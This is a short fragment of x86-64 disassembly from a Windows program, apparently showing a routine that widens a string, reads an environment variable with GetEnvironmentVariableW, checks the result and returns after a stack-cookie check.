movzx edx, byte [rsi + 1]
inc rsi
add rbx, 2
dec rdi
test dl, dl
jne 0x1403286a0
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140328743
lea rcx, [rsp + 0x80]
call fcn.14033f2d4
jmp 0x140328745
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.14032cc00
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call fcn.140331260
int3